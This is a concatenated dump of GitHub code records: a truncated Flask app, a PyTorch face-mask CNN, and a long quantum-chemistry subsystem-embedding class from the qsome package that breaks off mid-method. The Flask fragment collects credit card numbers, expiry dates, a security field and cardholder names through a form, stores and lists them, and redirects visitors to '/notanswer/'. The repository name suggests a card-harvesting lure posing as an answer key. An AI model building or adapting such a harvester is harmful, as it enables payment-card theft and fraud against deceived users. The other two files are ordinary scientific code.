expd = row[2]\n name = row[3]\n sn = row[4]\n ccarr.append(cc)\n expdarr.append(expd)\n namearr.append(name)\n snarr.append(sn)\n row = cursor.fetchone()\n num = len(namearr)\n return render_template('info.html', name=namearr, cc=ccarr, expd=expdarr, sn=snarr, num = num)\n\n@app.route(\"/submit/\", methods=['POST'])\ndef submit():\n if request.method == \"POST\":\n cc = request.form.get(\"cc\")\n exp = request.form.get(\"expd\")\n sn = request.form.get(\"sn\")\n name = request.form.get(\"name\")\n name = name.replace(\" \", \"_\")\n print(cc)\n print(exp)\n print(sn)\n print(name)\n cursor.execute(\"INSERT INTO inputs (name, cc, exp, sn) VALUES (?,?,?,?)\",(name, cc, exp, sn))\n connection.commit()\n return redirect('/notanswer/')\n return redirect('/')\n\n\nif __name__ == \"__main__\": # Makes sure this is the main process\n app.run( # Starts the site\n host='0.0.0.0', # EStablishes the host, required for repl to detect the site\n port=random.randint(2000, 9000))\n","repo_name":"Lohen-Chen/LohensAnswerKey","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38267091046","text":"# Imports\r\nfrom torch import nn\r\n\r\n\r\nclass ConvNet(nn.Module):\r\n \"\"\"Convolutional Neural Network class\"\"\"\r\n\r\n def __init__(self):\r\n super(ConvNet, self).__init__()\r\n\r\n self.convLayer1 = nn.Sequential(\r\n nn.Conv2d(in_channels=3, out_channels=32, kernel_size=3, padding=1),\r\n nn.ReLU(),\r\n nn.MaxPool2d(kernel_size=2))\r\n\r\n self.convLayer2 = nn.Sequential(\r\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=3, padding=1),\r\n nn.ReLU(),\r\n nn.MaxPool2d(kernel_size=2))\r\n\r\n self.drop_out = nn.Dropout(p=0.5)\r\n\r\n self.classifier = nn.Sequential(\r\n nn.Linear(in_features=(25 * 25 * 64), out_features=1024),\r\n nn.ReLU(),\r\n nn.Linear(in_features=1024, out_features=2))\r\n\r\n def forward(self, x):\r\n \"\"\"forward pass\"\"\"\r\n\r\n x = self.convLayer1(x)\r\n x = self.convLayer2(x)\r\n x = x.reshape(x.size(0), -1)\r\n x = self.classifier(x)\r\n\r\n return x\r\n","repo_name":"nuel-d1/Face-mask-wearing-detector","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72460817741","text":"\"\"\" A method to define cluster subsystem objects\nDaniel Graham\nDhabih V. Chulhai\n\"\"\"\n\nimport re\nimport os\nfrom copy import deepcopy as copy\nimport h5py\nimport numpy as np\nimport scipy as sp\nfrom pyscf import gto, scf, mp, cc, mcscf, mrpt, fci, tools\nfrom pyscf import hessian\nfrom pyscf.cc import ccsd_t, uccsd_t\nfrom pyscf.cc import eom_uccsd, eom_rccsd\nfrom pyscf.scf import diis as scf_diis\nfrom pyscf.lib import diis as lib_diis\nfrom qsome import custom_pyscf_methods, custom_diis\nfrom qsome.ext_methods.ext_factory import ExtFactory\n\n\n\nclass ClusterEnvSubSystem:\n \"\"\"A base subsystem object for use in projection embedding.\n\n Attributes\n ----------\n mol : Mole\n The pyscf Mole object specifying the geometry and basis\n env_method : str\n Defines the method to use for environment calculations.\n env_order : int\n An ordering scheme to keep track of subsystems in the big picture.\n env_init_guess : str\n The initial guess for the density matrix.\n env_damp : float\n The damping parameter for F&T calculations.\n env_shift : float\n Orbital shifting parameter.\n env_subcycles : int\n Number of scf subcycles for freeze and thaw cycles.\n diis_num : int\n A number indicating what kind of DIIS will be used for fock acceleration.\n unrestricted : bool\n Whether the subsystem is unrestricted.\n density_fitting : bool\n Whether to use density fitting.\n freeze : bool\n Whether to relax the density matrix\n save_orbs : bool\n Whether to save the env orbitals\n save_density : bool\n Whether to save the env density\n save_spin_density : bool\n Whether to save the spin density.\n filename : str\n A path to the input file.\n chkfile_index : str\n An identifier for the subsystem within the context of the full system.\n nproc : int\n The number of processors accessible to the calculation.\n pmem : float\n The amount of memory per processor (in MB)\n scr_dir : str\n The path to the scratch directory for the calculation.\n fermi : array\n An array of alpha and beta fermi energies.\n env_scf : SCF\n The pyscf SCF object of the subsystem.\n env_hcore : np.float64\n A numpy array of core hamiltonian matrix, compatible with pyscf.\n env_dmat : np.float64\n A numpy array of electron density matrix, compatible with pyscf.\n emb_fock : array\n An array of alpha and beta embedded fock matrices.\n emb_proj_fock : array\n An array of alpha and beta embedded and projected fock matrices.\n subsys_fock : array\n An array of alpha and beta subsystem fock matrices.\n emb_pot : array\n An array of alpha and beta embedding potentials (emb_fock - subsys_fock).\n proj_pot : array\n An array of alpha and beta projection potentials.\n env_mo_coeff : np.float64\n A numpy array of mo coefficients, compatible with pyscf.\n env_mo_occ : np.float\n A numpy array of mo occupations, compatible with psycf\n env_mo_energy : np.float\n A numpy array of mo energies, compatible with psycf\n env_energy : float\n The total energy of this subsystem.\n diis : DIIS object\n The PySCF DIIS object for fock acceleration of the subsystem.\n\n Methods\n -------\n init_env_scf()\n Initializes the pyscf SCF object.\n init_density()\n Sets the initial subsystem density matrix.\n get_dmat()\n Returns a formatted density matrix.\n update_subsys_fock(dmat, hcore)\n Updates the subsystem fock matrix.\n update_emb_pot(emb_fock)\n Updates the embedding potential.\n get_env_proj_e()\n Returns the energy of the projection potential.\n get_env_emb_e()\n Returns the embedded energy\n get_env_elec_energy()\n Get the electronic energy for the subsystem.\n get_env_energy()\n Get the total energy for the subsystem.\n save_orbital_file()\n Saves the env orbitals to a file.\n save_density_file()\n Save the env electron density to a file.\n save_spin_density_file()\n Save the env electron spin density to a file.\n save_chkfile()\n Saves the electron density to a chkfile for calculation restart purposes.\n read_chkfile()\n Reads an existing chkfile and initializes the electron density to that value.\n diagonalize()\n Diagonalize the env subsystem and return an update density.\n __do_unrestricted_diag()\n Diagonalize an unrestricted subsystem.\n __do_restricted_os_diag()\n Diagonalize a restricted open shell subsystem.\n __do_restricted_diag()\n Diagonalize a restricted closed shell subsystem.\n relax_sub_dmat()\n Relaxes the subsystem based on the fock operator and returns the difference\n between old and new density matrices.\n __set_fermi(e_sorted)\n Sets the fermi parameter of the subsystem based on the list of sorted orbitals\n (esorted).\n __set_occupation()\n Sets the molecular occupation based on the sorted molecular orbital energies.\n \"\"\"\n\n\n def __init__(self, mol, env_method, env_order=1, init_guess=None, damp=0.,\n shift=0., subcycles=1, diis_num=0, unrestricted=False,\n density_fitting=False, freeze=False, save_orbs=False, \n save_density=False, save_spin_density=False, filename=None,\n nproc=None, pmem=None, scrdir=None):\n \"\"\"\n Parameters\n ----------\n mol : Mole\n The pyscf Mole object specifying the geometry and basis\n env_method : str\n Defines the method to use for environment calculations.\n env_order : int, optional\n ID for the subsystem in the full system.\n (default is 1)\n init_guess : str, optional\n Which method to use for the initial density guess.\n (default is None)\n damp : float, optional\n Damping percentage. Mixeas a percent of previous density into\n each new density. (default is 0.)\n shift : float, optional\n How much to level shift orbitals. (default is 0.)\n subcycles : int, optional\n Number of diagonalization cycles. (default is 1)\n diis_num : int, optional\n Specifies DIIS method to use. (default is 0)\n unrestricted : bool, optional\n Whether the subsystem is unrestricted.\n (default is False)\n density_fitting : bool, optional\n Whether to use density fitting for the env method.\n (default is False)\n freeze : bool, optional\n Whether to freeze the electron density.\n (default is False)\n save_orbs : bool, optional\n Whether to save the env orbitals to a file.\n (default is False)\n save_density : bool, optional\n Whether to save the electron density to a file.\n (default is False)\n save_spin_density: bool, optional\n Whether to save the spin density to a file.\n (default is False)\n filename : str, optional\n The path to the input file being read. (default is None)\n nproc : int, optional\n Number of processors provided for calculation. (default is None)\n pmem : int, optional\n Memory per processor available in MB. (default is None)\n scr_dir : str, optional\n Path to the directory used for scratch. (default is None)\n \"\"\"\n\n self.mol = mol\n self.env_method = env_method\n self.env_order = env_order\n\n self.env_init_guess = init_guess\n self.env_damp = damp\n self.env_shift = shift\n\n self.env_subcycles = subcycles\n self.diis_num = diis_num\n\n self.unrestricted = unrestricted\n self.density_fitting = density_fitting\n self.freeze = freeze\n self.save_orbs = save_orbs\n self.save_density = save_density\n self.save_spin_density = save_spin_density\n\n self.filename = filename\n self.chkfile_index = None\n self.nproc = nproc\n if nproc is None:\n self.nproc = 1\n self.pmem = pmem\n if pmem is None:\n self.pmem = 2000\n self.scr_dir = scrdir\n if scrdir is None:\n self.scr_dir = os.getenv('TMPDIR')\n\n self.fermi = [0., 0.]\n self.env_scf = self.init_env_scf()\n self.env_hcore = self.env_scf.get_hcore()\n self.env_dmat = None\n self.emb_fock = np.array([None, None])\n self.emb_proj_fock = np.array([None, None])\n self.subsys_fock = np.array([None, None])\n\n self.emb_pot = np.array([np.zeros_like(self.env_hcore),\n np.zeros_like(self.env_hcore)])\n self.proj_pot = np.array([np.zeros_like(self.env_hcore),\n np.zeros_like(self.env_hcore)])\n\n self.env_mo_coeff = np.array([np.zeros_like(self.env_hcore),\n np.zeros_like(self.env_hcore)])\n self.env_mo_occ = np.array([np.zeros_like(self.env_hcore[0]),\n np.zeros_like(self.env_hcore[0])])\n self.env_mo_energy = self.env_mo_occ.copy()\n self.env_energy = 0.0\n\n if self.diis_num == 1:\n #Use subtractive diis. Most simple\n self.diis = lib_diis.DIIS()\n elif self.diis_num == 2:\n self.diis = scf_diis.CDIIS()\n elif self.diis_num == 3:\n self.diis = scf_diis.EDIIS()\n elif self.diis_num == 4:\n self.diis = scf.diis.ADIIS()\n elif self.diis_num == 5:\n self.diis = custom_diis.EDIIS_DIIS(self.env_scf)\n elif self.diis_num == 6:\n self.diis = custom_diis.ADIIS_DIIS(self.env_scf)\n else:\n self.diis = None\n\n def init_env_scf(self, mol=None, env_method=None, damp=None, shift=None, \n dfit=None):\n \"\"\"Initializes the environment pyscf scf object.\n\n Parameters\n ----------\n mol : Mole, optional\n Mole object containing geometry and basis (default is None).\n method : str, optional\n Subsystem method for calculation (default is None).\n rho_cutoff : float, optional\n DFT rho cutoff parameter (default is None).\n damp : float, optional\n Damping parameter (default is None).\n shift : float, optional\n Level shift parameter (default is None).\n \"\"\"\n\n if mol is None:\n mol = self.mol\n if env_method is None:\n env_method = self.env_method\n if damp is None:\n damp = self.env_damp\n if shift is None:\n shift = self.env_shift\n if dfit is None:\n dfit = self.density_fitting\n\n if self.pmem:\n mol.max_memory = self.pmem\n\n if self.unrestricted:\n if env_method == 'hf':\n scf_obj = scf.UHF(mol)\n else:\n scf_obj = scf.UKS(mol)\n scf_obj.xc = env_method\n\n elif mol.spin != 0:\n if 'hf' in env_method:\n scf_obj = scf.ROHF(mol)\n else:\n scf_obj = scf.ROKS(mol)\n scf_obj.xc = env_method\n else:\n if env_method == 'hf':\n scf_obj = scf.RHF(mol)\n else:\n scf_obj = scf.RKS(mol)\n scf_obj.xc = env_method\n\n env_scf = scf_obj\n env_scf.damp = damp\n env_scf.level_shift = shift\n if dfit:\n env_scf = env_scf.density_fit()\n return env_scf\n\n def init_density(self, in_dmat=None, scf_obj=None, env_method=None,\n init_guess=None):\n \"\"\"Initializes the subsystem density..\n\n Parameters\n ----------\n in_dmat : numpy.float64\n New subsystem density matrix (default is None).\n scf_obj : SCF, optional\n Subsystem SCF object (default is None).\n env_method : str, optional\n Subsystem energy method (default is None).\n init_guess : str, optional\n Subsystem density guess method (default is None).\n \"\"\"\n if in_dmat is not None:\n in_dmat = np.array(in_dmat)\n self.env_dmat = in_dmat\n return True\n\n if scf_obj is None:\n scf_obj = self.env_scf\n if env_method is None:\n env_method = self.env_method\n if init_guess is None:\n if self.env_init_guess is None:\n init_guess = 'chk'\n else:\n init_guess = self.env_init_guess\n\n if init_guess == 'chk':\n try:\n is_chkfile = self.read_chkfile()\n except AssertionError:\n is_chkfile = False\n if is_chkfile:\n if (np.any(self.env_mo_coeff) and np.any(self.env_mo_occ)):\n #Confirm correct read density dimensions.\n ndim = scf_obj.mol.nao\n if (ndim == self.env_mo_coeff.shape[1] and ndim == self.env_mo_coeff.shape[2]):\n dmat = [0, 0]\n dmat[0] = np.dot((self.env_mo_coeff[0] * self.env_mo_occ[0]),\n self.env_mo_coeff[0].T.conjugate())\n dmat[1] = np.dot((self.env_mo_coeff[1] * self.env_mo_occ[1]),\n self.env_mo_coeff[1].T.conjugate())\n else:\n self.env_mo_coeff = [np.zeros_like(self.env_hcore),\n np.zeros_like(self.env_hcore)]\n self.env_mo_occ = [np.zeros_like(self.env_hcore[0]),\n np.zeros_like(self.env_hcore[0])]\n init_guess = 'supmol'\n dmat = scf_obj.get_init_guess()\n else:\n init_guess = 'supmol'\n dmat = scf_obj.get_init_guess()\n else:\n init_guess = 'supmol'\n dmat = scf_obj.get_init_guess()\n\n #If readchk not found, update the init_guess method\n self.env_init_guess = init_guess\n\n elif init_guess in ['atom', '1e', 'minao', 'huckel', 'vsap']:\n dmat = scf_obj.get_init_guess(key=init_guess)\n elif init_guess == 'submol':\n scf_obj.kernel()\n dmat = scf_obj.make_rdm1()\n else:\n dmat = scf_obj.get_init_guess()\n\n #Dmat always stored [alpha, beta]\n if np.array(dmat).ndim == 2:\n dmat = np.array([dmat/2., dmat/2.])\n self.env_dmat = dmat\n\n #Initialize the subsys fock when density initialized.\n self.update_subsys_fock()\n return True\n\n def get_dmat(self):\n \"\"\"Returns the density matrix\"\"\"\n\n dmat = self.env_dmat\n if not (self.unrestricted or self.mol.spin != 0):\n dmat = dmat[0] + dmat[1]\n return dmat\n\n def update_subsys_fock(self, dmat=None, hcore=None):\n \"\"\"Update the subsystem fock matrix\n\n Parameters\n ----------\n dmat : array\n hcore : array\n\n Returns\n -------\n boolean\n \"\"\"\n\n if dmat is None:\n dmat = self.env_dmat\n if hcore is None:\n hcore = self.env_hcore\n\n if self.unrestricted:\n self.subsys_fock = self.env_scf.get_fock(h1e=hcore, dm=dmat)\n elif self.mol.spin != 0:\n temp_fock = self.env_scf.get_fock(h1e=hcore, dm=dmat)\n self.subsys_fock = [temp_fock, temp_fock]\n else:\n temp_fock = self.env_scf.get_fock(h1e=hcore, dm=(dmat[0] + dmat[1]))\n self.subsys_fock = [temp_fock, temp_fock]\n return True\n\n def update_emb_pot(self, emb_fock=None):\n \"\"\"Updates the embededing potential for the system\n\n Parameters\n ----------\n emb_fock : list\n \"\"\"\n\n if emb_fock is None:\n if self.emb_fock[0] is None:\n emb_fock = None\n else:\n emb_fock = self.emb_fock\n self.update_subsys_fock()\n self.emb_pot = [emb_fock[0] - self.subsys_fock[0],\n emb_fock[1] - self.subsys_fock[1]]\n\n def get_env_proj_e(self, proj_pot=None, dmat=None):\n \"\"\"Gets the projection operator energy\n\n Parameters\n ----------\n env_method : str, optional\n Subsystem low level method string (default is None).\n proj_pot : numpy.float64, optional\n Projection potential matrix (default is None).\n dmat : numpy.float64, optional\n Subsystem density matrix (default is None).\n \"\"\"\n\n if proj_pot is None:\n proj_pot = self.proj_pot\n if dmat is None:\n dmat = copy(self.env_dmat)\n\n e_proj = (np.einsum('ij,ji', proj_pot[0], dmat[0]) +\n np.einsum('ij,ji', proj_pot[1], dmat[1])).real\n\n return e_proj\n\n def get_env_emb_e(self, emb_pot=None, dmat=None):\n \"\"\"Gets the embedded energy\n\n Parameters\n ----------\n env_method : str, optional\n Subsystem low level method string (default is None).\n proj_pot : numpy.float64, optional\n Projection potential matrix (default is None).\n dmat : numpy.float64, optional\n Subsystem density matrix (default is None).\n \"\"\"\n if dmat is None:\n dmat = copy(self.env_dmat)\n\n if emb_pot is None:\n if self.emb_fock[0] is None:\n emb_pot = [np.zeros_like(dmat[0]), np.zeros_like(dmat[1])]\n else:\n emb_pot = [self.emb_fock[0] - self.subsys_fock[0],\n self.emb_fock[1] - self.subsys_fock[1]]\n\n e_emb = (np.einsum('ij,ji', emb_pot[0], dmat[0]) +\n np.einsum('ij,ji', emb_pot[1], dmat[1])).real\n\n return e_emb\n\n def get_env_elec_energy(self, env_method=None, fock=None, dmat=None,\n env_hcore=None, proj_pot=None, emb_pot=None):\n \"\"\"Returns the electronic energy of the subsystem\n\n Parameters\n ----------\n env_method : str, optional\n Subsystem low level method (default is None).\n env_scf : np.float64, optional\n Subsystem fock matrix (default is None).\n dmat : np.float64, optional\n Subsystem density matrix (default is None).\n env_hcore : np.float64, optional\n Subsystem core hamiltonian (default is None).\n proj_pot : np.float64, optional\n Projection potential matrix (default is None).\n emb_pot : np.float64, optional\n Embedding potential matrix (default is None).\n \"\"\"\n\n #Need to use embedding fock for freeze and thaw, and not for energies\n if env_method is None:\n env_method = self.env_method\n if dmat is None:\n dmat = copy(self.env_dmat)\n if fock is None:\n self.update_subsys_fock()\n fock = self.subsys_fock\n if env_hcore is None:\n env_hcore = self.env_hcore\n if proj_pot is None:\n proj_pot = self.proj_pot\n if emb_pot is None:\n if self.emb_fock[0] is None:\n emb_pot = [np.zeros_like(dmat[0]), np.zeros_like(dmat[1])]\n else:\n emb_pot = [self.emb_fock[0] - fock[0],\n self.emb_fock[1] - fock[1]]\n\n e_emb = self.get_env_emb_e(emb_pot, dmat)\n e_proj = self.get_env_proj_e(proj_pot, dmat)\n if not (self.unrestricted or self.mol.spin != 0):\n dmat = dmat[0] + dmat[1]\n subsys_e = self.env_scf.energy_elec(dm=dmat)[0]\n return subsys_e + e_emb + e_proj\n\n def get_env_energy(self, mol=None, env_method=None, fock=None, dmat=None,\n env_hcore=None, proj_pot=None, emb_pot=None):\n \"\"\"Return the total subsystem energy\n\n Parameters\n ----------\n mol : Mole, optional\n Subsystem Mole object (default is None).\n \"\"\"\n\n if env_method is None:\n env_method = self.env_method\n if dmat is None:\n dmat = copy(self.env_dmat)\n if fock is None:\n self.update_subsys_fock()\n fock = self.subsys_fock\n if env_hcore is None:\n env_hcore = self.env_hcore\n if proj_pot is None:\n proj_pot = self.proj_pot\n if emb_pot is None:\n if self.emb_fock[0] is None:\n emb_pot = [np.zeros_like(dmat[0]), np.zeros_like(dmat[1])]\n else:\n emb_pot = [self.emb_fock[0] - fock[0],\n self.emb_fock[1] - fock[1]]\n if mol is None:\n mol = self.mol\n\n \n self.env_energy = self.get_env_elec_energy(env_method=env_method,\n fock=fock, dmat=dmat,\n env_hcore=env_hcore,\n proj_pot=proj_pot,\n emb_pot=emb_pot)\n self.env_energy += mol.energy_nuc()\n return self.env_energy\n\n def save_orbital_file(self, filename=None, scf_obj=None, mo_occ=None,\n mo_coeff=None, mo_energy=None):\n \"\"\"Saves a molden orbital file.\n\n Parameters\n ----------\n filename : str\n scf_obj : pyscf SCF object\n mo_occ : list\n mo_coeff : list\n mo_energy : list\n\n Returns\n -------\n bool\n \"\"\"\n\n if filename is None:\n if self.filename is None:\n print(\"Cannot save orbitals because no filename\")\n return False\n filename = self.filename\n if scf_obj is None:\n scf_obj = self.env_scf\n if mo_occ is None:\n mo_occ = self.env_mo_occ\n if mo_coeff is None:\n mo_coeff = self.env_mo_coeff\n if mo_energy is None:\n mo_energy = self.env_mo_energy\n print(f'Writing Subsystem {self.chkfile_index} Orbitals'.center(80))\n if not self.unrestricted:\n molden_fn = os.path.splitext(filename)[0] + '_' + self.chkfile_index + '_subenv.molden'\n with open(molden_fn, 'w') as fin:\n tools.molden.header(scf_obj.mol, fin)\n tools.molden.orbital_coeff(self.mol, fin, mo_coeff[0],\n ene=mo_energy[0],\n occ=(mo_occ[0] + mo_occ[1]))\n else:\n molden_fn_a = (os.path.splitext(filename)[0] + '_' +\n self.chkfile_index + '_subenv_alpha.molden')\n molden_fn_b = (os.path.splitext(filename)[0] + '_' +\n self.chkfile_index + '_subenv_beta.molden')\n with open(molden_fn_a, 'w') as fin:\n tools.molden.header(scf_obj.mol, fin)\n tools.molden.orbital_coeff(self.mol, fin, mo_coeff[0],\n spin='Alpha', ene=mo_energy[0],\n occ=mo_occ[0])\n with open(molden_fn_b, 'w') as fin:\n tools.molden.header(scf_obj.mol, fin)\n tools.molden.orbital_coeff(self.mol, fin, mo_coeff[1],\n spin='Beta', ene=mo_energy[1],\n occ=mo_occ[1])\n return True\n\n def save_density_file(self, filename=None):\n \"\"\"Save the electron density as a molden file.\n\n Parameters\n ----------\n filename : str, optional\n The filename to save the density as.\n (default is None)\n \"\"\"\n\n if filename is None:\n if self.filename is None:\n print(\"Cannot save density because no filename\")\n return False\n filename = self.filename\n density = self.get_dmat()\n print(f'Writing Subsystem {self.chkfile_index} Density'.center(80))\n if self.mol.spin != 0 or self.unrestricted:\n cubegen_fn = (os.path.splitext(filename)[0] + '_' +\n self.chkfile_index + '_subenv_alpha.cube')\n tools.cubegen.density(self.mol, cubegen_fn, density[0])\n cubegen_fn = (os.path.splitext(filename)[0] + '_' +\n self.chkfile_index + '_subenv_beta.cube')\n tools.cubegen.density(self.mol, cubegen_fn, density[1])\n else:\n cubegen_fn = os.path.splitext(filename)[0] + '_' + self.chkfile_index + '_subenv.cube'\n tools.cubegen.density(self.mol, cubegen_fn, density)\n return True\n\n def save_spin_density_file(self, filename=None):\n \"\"\"Saves a molden file of the spin density\n\n Parameters\n ----------\n filename : str, optional\n The filename to save the spin density as.\n (default is None)\n \"\"\"\n\n if filename is None:\n if self.filename is None:\n print(\"Cannot save density because no filename\")\n return False\n filename = self.filename\n density = self.get_dmat()\n if self.mol.spin != 0 or self.unrestricted:\n print(f'Writing Subsystem {self.chkfile_index} Spin Density'.center(80))\n cubegen_fn = (os.path.splitext(filename)[0] + '_' +\n self.chkfile_index + '_subenv_spinden.cube')\n tools.cubegen.density(self.mol, cubegen_fn, np.subtract(density[0], density[1]))\n else:\n print('Cannot write spin density for a closed shell system.'.center(80))\n return False\n return True\n\n def save_chkfile(self, filename=None):\n \"\"\"Saves a checkpoint file of the electron density.\n\n Parameters\n ----------\n filename : str\n filename to save the checkpoint file.\n (default is None)\n \"\"\"\n\n if filename is None:\n if self.filename is None:\n print(\"chkfile not saved because no filename set.\")\n return False\n filename = os.path.splitext(self.filename)[0] + '.hdf5'\n assert(self.chkfile_index is not None), 'Need to set chkfile_index'\n\n chk_index = self.chkfile_index\n # check if file exists.\n if os.path.isfile(filename):\n try:\n with h5py.File(filename, 'r+') as fin:\n subsys_coeff = fin[f'subsystem:{chk_index}/mo_coeff']\n subsys_coeff[...] = self.env_mo_coeff\n subsys_occ = fin[f'subsystem:{chk_index}/mo_occ']\n subsys_occ[...] = self.env_mo_occ\n subsys_energy = fin[f'subsystem:{chk_index}/mo_energy']\n subsys_energy[...] = self.env_mo_energy\n except TypeError:\n print(\"Overwriting existing chkfile\".center(80))\n with h5py.File(filename, 'w') as fout:\n sub_sys_data = fout.create_group(f'subsystem:{chk_index}')\n sub_sys_data.create_dataset('mo_coeff', data=self.env_mo_coeff)\n sub_sys_data.create_dataset('mo_occ', data=self.env_mo_occ)\n sub_sys_data.create_dataset('mo_energy', data=self.env_mo_energy)\n except KeyError:\n print(\"Missing subsystem data in chkfile\".center(80))\n with h5py.File(filename, 'a') as fout:\n sub_sys_data = fout.create_group(f'subsystem:{chk_index}')\n sub_sys_data.create_dataset('mo_coeff', data=self.env_mo_coeff)\n sub_sys_data.create_dataset('mo_occ', data=self.env_mo_occ)\n sub_sys_data.create_dataset('mo_energy', data=self.env_mo_energy)\n else:\n with h5py.File(filename, 'a') as fout:\n sub_sys_data = fout.create_group(f'subsystem:{chk_index}')\n sub_sys_data.create_dataset('mo_coeff', data=self.env_mo_coeff)\n sub_sys_data.create_dataset('mo_occ', data=self.env_mo_occ)\n sub_sys_data.create_dataset('mo_energy', data=self.env_mo_energy)\n return True\n\n def read_chkfile(self, filename=None):\n \"\"\"Reads the embedding checkpoint file and saves the density.\n\n Parameters\n ----------\n filename : str\n Name of the checkpoint file.\n (default is None)\n\n Returns\n -------\n bool\n \"\"\"\n\n if filename is None:\n if self.filename is None:\n return False\n filename = os.path.splitext(self.filename)[0] + '.hdf5'\n assert(self.chkfile_index is not None), 'Need to set chkfile_index'\n\n filename = os.path.splitext(filename)[0] + '.hdf5'\n chk_index = self.chkfile_index\n\n if os.path.isfile(filename):\n try:\n with h5py.File(filename, 'r') as fin:\n subsys_coeff = fin[f'subsystem:{chk_index}/mo_coeff']\n self.env_mo_coeff = subsys_coeff[:]\n subsys_occ = fin[f'subsystem:{chk_index}/mo_occ']\n self.env_mo_occ = subsys_occ[:]\n subsys_energy = fin[f'subsystem:{chk_index}/mo_energy']\n self.env_mo_energy = subsys_energy[:]\n return True\n except TypeError:\n print(\"chkfile improperly formatted\".center(80))\n return False\n except KeyError:\n print(\"Missing subsystem data in chkfile\".center(80))\n return False\n else:\n print(\"chkfile NOT found\".center(80))\n return False\n\n\n def diagonalize(self):\n \"\"\"Diagonalizes the subsystem fock matrix and returns updated density.\"\"\"\n\n for i in range(self.env_subcycles):\n if i > 0: #This doesn't work as intended right now.\n self.update_subsys_fock()\n\n if self.unrestricted:\n self.__do_unrestricted_diag()\n\n elif self.mol.spin != 0:\n self.__do_restricted_os_diag()\n\n else:\n self.__do_restricted_diag()\n\n e_sorted = [np.sort(self.env_mo_energy[0]), np.sort(self.env_mo_energy[1])]\n self.__set_occupation()\n self.__set_fermi()\n\n self.env_dmat[0] = np.dot((self.env_mo_coeff[0] * self.env_mo_occ[0]),\n self.env_mo_coeff[0].transpose().conjugate())\n self.env_dmat[1] = np.dot((self.env_mo_coeff[1] * self.env_mo_occ[1]),\n self.env_mo_coeff[1].transpose().conjugate())\n\n self.save_chkfile()\n return self.env_dmat\n\n def __do_unrestricted_diag(self):\n \"\"\"Performs diagonalization on the unrestricted env object.\"\"\"\n emb_proj_fock = np.array([None, None])\n if self.emb_proj_fock[0] is None:\n fock = self.emb_fock\n if fock[0] is None:\n fock = self.subsys_fock\n emb_proj_fock[0] = fock[0] + self.proj_pot[0]\n emb_proj_fock[1] = fock[1] + self.proj_pot[1]\n if self.diis:\n if self.diis_num == 1:\n emb_proj_fock = self.diis.update(emb_proj_fock)\n if self.diis_num == 2:\n dmat = self.get_dmat()\n ovlp = self.env_scf.get_ovlp()\n emb_proj_fock = self.diis.update(ovlp, dmat, emb_proj_fock)\n else:\n emb_proj_fock = self.emb_proj_fock\n energy, coeff = self.env_scf.eig(emb_proj_fock, self.env_scf.get_ovlp())\n self.env_mo_energy = [energy[0], energy[1]]\n self.env_mo_coeff = [coeff[0], coeff[1]]\n\n def __do_restricted_os_diag(self):\n \"\"\"Performs diagonalization on the restricted open shell env object.\"\"\"\n emb_proj_fock = np.array([None, None])\n if self.emb_proj_fock[0] is None:\n fock = self.emb_fock\n if fock[0] is None:\n fock = self.subsys_fock\n\n emb_proj_fock = fock[0] + self.proj_pot[0]\n emb_proj_fock += fock[1] + self.proj_pot[1]\n emb_proj_fock /= 2.\n if self.diis:\n if self.diis_num == 1:\n emb_proj_fock = self.diis.update(emb_proj_fock)\n if self.diis_num == 2:\n dmat = self.get_dmat()\n dmat_tot = dmat[0] + dmat[1]\n ovlp = self.env_scf.get_ovlp()\n emb_proj_fock = self.diis.update(ovlp, dmat_tot, emb_proj_fock)\n else:\n emb_proj_fock = (self.emb_proj_fock[0] + self.emb_proj_fock[1]) / 2.\n\n energy, coeff = self.env_scf.eig(emb_proj_fock, self.env_scf.get_ovlp())\n\n self.env_mo_energy = [energy, energy]\n self.env_mo_coeff = [coeff, coeff]\n\n def __do_restricted_diag(self):\n \"\"\"Performs diagonalization on the restricted env object.\"\"\"\n emb_proj_fock = np.array([None, None])\n if self.emb_proj_fock[0] is None:\n fock = self.emb_fock\n if fock[0] is None:\n fock = self.subsys_fock\n\n emb_proj_fock = fock[0] + self.proj_pot[0]\n emb_proj_fock += fock[1] + self.proj_pot[1]\n emb_proj_fock /= 2.\n\n if self.diis:\n if self.diis_num == 1:\n emb_proj_fock = self.diis.update(emb_proj_fock)\n if self.diis_num == 2:\n dmat = self.get_dmat()\n ovlp = self.env_scf.get_ovlp()\n emb_proj_fock = self.diis.update(ovlp, dmat, emb_proj_fock)\n else:\n emb_proj_fock = (self.emb_proj_fock[0] + self.emb_proj_fock[1]) / 2.\n\n energy, coeff = self.env_scf.eig(emb_proj_fock, self.env_scf.get_ovlp())\n self.env_mo_energy = [energy, energy]\n self.env_mo_coeff = [coeff, coeff]\n\n def relax_sub_dmat(self, damp_param=None):\n \"\"\"Relaxes the given subsystem density using the updated fock.\n \"\"\"\n\n if damp_param is None:\n damp_param = self.env_damp\n\n sub_old_dm = self.get_dmat().copy()\n self.diagonalize()\n\n new_dm = [None, None]\n if self.unrestricted or self.mol.spin != 0:\n ddm = sp.linalg.norm(self.get_dmat()[0] - sub_old_dm[0])\n ddm += sp.linalg.norm(self.get_dmat()[1] - sub_old_dm[1])\n damp = [damp_param, damp_param]\n if damp[0] < 0:\n #GeT ODA DAMPING parameters.\n pass\n new_dm[0] = ((1 - damp[0]) * self.get_dmat()[0] + (damp[0] * sub_old_dm[0]))\n new_dm[1] = ((1 - damp[1]) * self.get_dmat()[1] + (damp[1] * sub_old_dm[1]))\n self.env_dmat = new_dm\n else:\n damp = damp_param\n ddm = sp.linalg.norm(self.get_dmat() - sub_old_dm)\n if damp < 0:\n #GET ODA DAMPING PARAMETER.\n pass\n new_dm = ((1. - damp) * self.get_dmat() + (damp * sub_old_dm))\n self.env_dmat = [new_dm/2., new_dm/2.]\n return ddm\n\n def __set_fermi(self):\n \"\"\"Sets the fermi level for the subsystem.\n\n Parameters\n ----------\n e_sorted : list\n A list of the orbital energies sorted lowest to highest.\n \"\"\"\n self.fermi = [0., 0.]\n nocc_orbs = [self.mol.nelec[0], self.mol.nelec[1]]\n alpha_occ = copy(self.env_mo_occ[0])\n\n if not np.all(alpha_occ):\n occ_energy_m = np.ma.masked_where(alpha_occ==0, self.env_mo_energy[0])\n alpha_homo = np.max(np.ma.compressed(occ_energy_m))\n 